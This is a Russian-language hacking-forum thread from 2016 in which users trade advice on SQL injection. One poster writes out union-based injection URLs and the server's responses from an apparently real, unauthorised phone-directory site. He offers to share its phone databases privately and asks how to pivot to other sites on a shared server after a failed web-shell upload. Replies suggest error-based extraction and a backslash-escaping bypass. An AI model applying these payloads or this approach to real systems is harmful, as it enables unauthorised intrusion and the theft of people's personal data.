ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

06.01.2016, 06:06
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
Сообщение от yarbabin
yarbabin said:
↑
нульбайт или альтернатива, все обычно
Сообщение от R3hab
R3hab said:
↑
/usr/local/php-5.3.29/
садись, два
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

06.01.2016, 09:08
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
пропустил, что 5.3, спасибо l1ght
тогда вариантов, кроме как создать файл во внедоступной снаружи папке или неисполняемый, или через соседей - нет
|
|
|

08.01.2016, 22:51
|
|
Guest
Сообщений: n/a
Провел на форуме: 7147
Репутация:
0
|
|
Добрый вечер господа!
Буду признателен, если сможете мне подсказать.
Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.
Строка запроса получается так выглядит: /filename?fio=fio&telefon=123
Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:
Bad SQL-query:
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10
Mistake
Пытаюсь раскрутить стандартным образом:
/filename?fio=fio&telefon=123%27+order+by+1--
В ответ получаю следующее:
Bad SQL-query:
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10
Mistake
Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.
Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:
/filename?fio=&telefon=955448%27+union+select+1,2,3 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.
Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.
Но при составлении следующего запроса:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SEL ECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Получаю следующее:
По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос.Mistake
Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.
Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:
По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос.Mistake
Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?
п.с.
К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой
Коллеги, заранее благодарен!!)
|
|
|
|

10.01.2016, 03:44
|
|
Guest
Сообщений: n/a
Провел на форуме: 179197
Репутация:
25
|
|
Сообщение от ArmusIAm
ArmusIAm said:
↑
Добрый вечер господа!
Буду признателен, если сможете мне подсказать.
Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.
Строка запроса получается так выглядит: /filename?fio=fio&telefon=123
Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:
Bad SQL-query:
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10
Mistake
Пытаюсь раскрутить стандартным образом:
/filename?fio=fio&telefon=123%27+order+by+1--
В ответ получаю следующее:
Bad SQL-query:
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10
Mistake
Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.
Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:
/filename?fio=&telefon=955448%27+union+select+1,2,3 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.
Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.
Но при составлении следующего запроса:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SEL ECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Получаю следующее:
По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос.Mistake
Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.
Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:
По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос.Mistake
Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?
п.с.
К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой
Коллеги, заранее благодарен!!)
попробуйте через erro based вектор, и вытягивать поштучно. что получается7
|
|
|
|

10.01.2016, 15:36
|
|
Guest
Сообщений: n/a
Провел на форуме: 7147
Репутация:
0
|
|
Сообщение от Br@!ns
Br@!ns said:
↑
попробуйте через erro based вектор, и вытягивать поштучно. что получается7
Спасибо, сегодня попробую, отпишусь.
Пользуясь случаем еще один вопрос задам.
Есть сайт, простенький, СУБД PostgreSQL. На сервере еще 4 сайта, к которым и есть основной интерес. Сайт дырявый капец, SQL инъекция на инъекции. Но вот в чем проблема, какой то толковой админки не нашел, залить шелл через инъекцию не получается я так понимаю (сам код в БД вносит, но файл создавать не хочет, выдает ошибку). Собственно совсем отчаялся, всю БД прошерстил, ничего интересного, шелл не залить (только картинкой, но локального инклуда нет, залить .htaccess тоже не получается). Подскажите, а возможно как то в ходе инъекции сделать запрос в другую БД на сервере? Понятно, что это зависит от прав пользователя, не понимаю как сам запрос в таком случае составить.
|
|
|
|

10.01.2016, 17:37
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
Сообщение от ArmusIAm
ArmusIAm said:
↑
Спасибо, сегодня попробую, отпишусь.
Пользуясь случаем еще один вопрос задам.
Есть сайт, простенький, СУБД PostgreSQL. На сервере еще 4 сайта, к которым и есть основной интерес. Сайт дырявый капец, SQL инъекция на инъекции. Но вот в чем проблема, какой то толковой админки не нашел, залить шелл через инъекцию не получается я так понимаю (сам код в БД вносит, но файл создавать не хочет, выдает ошибку). Собственно совсем отчаялся, всю БД прошерстил, ничего интересного, шелл не залить (только картинкой, но локального инклуда нет, залить .htaccess тоже не получается). Подскажите, а возможно как то в ходе инъекции сделать запрос в другую БД на сервере? Понятно, что это зависит от прав пользователя, не понимаю как сам запрос в таком случае составить.
версия PSQL какая?
|
|
|

10.01.2016, 17:39
|
|
Guest
Сообщений: n/a
Провел на форуме: 7147
Репутация:
0
|
|
Сообщение от yarbabin
yarbabin said:
↑
версия PSQL какая?
PostgreSQL 9.1.16 on x86_64-unknown-linux-gnu, compiled by gcc-4.7.real (Debian 4.7.2-5) 4.7.2, 64-bit
|
|
|
|

10.01.2016, 22:41
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
ArmusIAm, отвечая на вопрос, один результат тебе дает первый query "955448' " и сотни последний " LIKE '%' "
можно конечно и дальше шаманить с длинными или сложными запросами (1=0, error-based, blind, ;%00)
только в твоем случае все гораздо проще
Сообщение от None
Пытаюсь раскрутить стандартным образом:
/filename?fio=fio&telefon=123%27+order+by+
1--
...
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10
цитата с документации
Сообщение от None
В версии сервера MySQL 3.23.3 и выше поддерживается комментирование с помощью символов `--' - при условии, что за комментарием следует пробел. Это объясняется тем, что данный стиль комментирования вызвал много проблем при автоматической генерации SQL-запросов, в которых присутствовал код, подобный приведенному ниже (величина платежа вставляется в выражение !payment! автоматически):
UPDATE tbl_name SET credit=credit-!payment!
Давайте представим себе, что произойдет в случае, если величина payment окажется отрицательной. Поскольку выражение 1--1 в SQL является допустимым, то просто страшно себе вообразить последствия в случае, если будут разрешены комментарии, начинающиеся с `--',
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

10.01.2016, 22:59
|
|
Guest
Сообщений: n/a
Провел на форуме: 909
Репутация:
0
|
|
Фильтруется только ковычка ( " )
Возможно ?
|
|
|
|

11.01.2016, 07:57
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
Сообщение от assmaday
assmaday said:
↑
Подскажите пожалуйста.
Конструкция такого вида как-то обходится, в плане внедрения SQL Inj:
$r = str_replace('"','',str_replace("'","",$_GET['r'])); //[1]
$sql = "SELECT `id` FROM `tbl_categories` WHERE `title`='".$r."'"; //[2]
$result = mysql_query($sql,$con); //[3]
Я так понимаю, на строке 1 все hex и соncat остаются строкой типа "CONCAT(CHAR(84),CHAR(114),... и т.д или 0x5472616e6365
Тоесть во вторую строку не подсунуть " union ???
Только если вы контролируете два поля подряд, sql_mode дефолтный и magic_quote = off.
Field_1 =test\
Field_2 = UNION SELECT ... --
Сообщение от BlitzXX
BlitzXX said:
↑
Фильтруется только ковычка ( " )
Возможно ?
Нет, это необходимая и достаточная фильтрация.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|